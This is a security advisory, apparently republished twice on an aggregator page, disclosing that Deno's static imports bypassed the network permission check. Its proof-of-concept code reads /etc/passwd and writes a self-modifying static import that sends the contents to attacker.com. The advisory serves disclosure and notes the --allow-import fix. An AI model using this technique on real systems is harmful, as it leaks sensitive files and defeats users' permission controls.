Headline

GHSA-jv4x-jv3h-qff5: Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run:

The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
When --allow-write and --allow-read permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

PoC

const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);

Executing a file containing this payload twice, with deno run --allow-read --allow-write would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the --allow-import flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

1 day ago

ghsa

Open in Source

#vulnerability #js #auth

Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run:

The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
When --allow-write and --allow-read permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

PoC

const __filename = new URL("", import.meta.url).pathname; let oldContent = await Deno.readTextFile(__filename); let passFile = await Deno.readTextFile(“/etc/passwd”); let pre = 'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' + encodeURIComponent(passFile) + '";\n’; await Deno.writeTextFile(__filename, pre + oldContent);

Executing a file containing this payload twice, with deno run --allow-read --allow-write would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the --allow-import flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

References